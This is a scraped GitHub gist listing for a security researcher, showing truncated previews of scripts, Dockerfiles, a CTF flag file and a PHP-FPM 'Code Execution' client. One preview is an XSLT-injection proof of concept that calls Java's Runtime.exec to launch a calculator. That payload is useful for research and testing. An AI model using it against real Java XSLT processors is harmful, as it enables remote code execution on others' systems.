Skip to content

Instantly share code, notes, and snippets.

View phith0n's full-sized avatar
🎯
Focusing

Owen Gong phith0n

🎯
Focusing
View GitHub Profile
@phith0n
phith0n / fpm.py
Last active May 9, 2024 08:50
Fastcgi PHP-FPM Client && Code Execution
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
{
"02f002afed6a67ccfb5e11e7a04468c997a3f772":[
"84.0.4114.0",
[
]
],
"02f01a17a700421b28f488f84dabf2e69f163a57":[
"53.0.2785.8",
[
@phith0n
phith0n / README.md
Created July 16, 2019 08:51
跑一跑微博被和谐的图

跑一跑微博被和谐的图

sinaimg子域名,跑一遍即可。

@phith0n
phith0n / example.md
Last active November 22, 2023 06:25
sort a list by 2 key

image

@phith0n
phith0n / flag.php
Created October 9, 2023 16:11
A small PHP challenge
<?php
define('FLAG', 'flag{y0uW1n}');
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; -->
<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; -->
<!-- #114 Utf8: open -a calculator -->
<!-- #115 String: touch /tmp/pwn -->
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
<!-- #132 Utf8: <init> -->
<AAA select="&lt;init&gt;"/>
@phith0n
phith0n / chrome_install_headless.sh
Last active December 10, 2021 08:56 — forked from Leotomas/chrome_install_headless.sh
Install Chrome headless on Ubuntu
export CHROME_BIN=/usr/bin/google-chrome
export DISPLAY=:99.0
sh -e /etc/init.d/xvfb start
sudo apt-get update
sudo apt-get install -y libappindicator1 fonts-liberation libasound2 libgconf-2-4 libnspr4 libxss1 libnss3 xdg-utils
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome*.deb
@phith0n
phith0n / download.php
Last active July 22, 2021 04:16
progress enabled file server
<?php
set_time_limit(0);
$filename = 'bigfile.txt';
$f = fopen($filename, 'r');
$i = 0;
$chunk = 2;
$each = 100 / (filesize($filename) / $chunk);
while (true) {
@phith0n
phith0n / regenerate.py
Last active May 21, 2021 10:09
a simple regexp generator
import re
from enum import Enum
class State(Enum):
Initial = 0
D = 10
DRest = 11
S = 20
SRest = 21
@phith0n
phith0n / php5.dockerfile
Last active May 19, 2021 12:40
分享自己用的两份Alpine-php-fpm的dockerfile
FROM alpine:3.3
MAINTAINER Didiet Noor <dnoor@kulina.id> (@lynxluna)
# Patch APK Mirror to YKode
RUN echo "http://dl-4.alpinelinux.org/alpine/v3.3/main" > /etc/apk/repositories
ENV TIMEZONE Asia/Shanghai
ENV PHP_MEMORY_LIMIT 512M
ENV MAX_UPLOAD 50M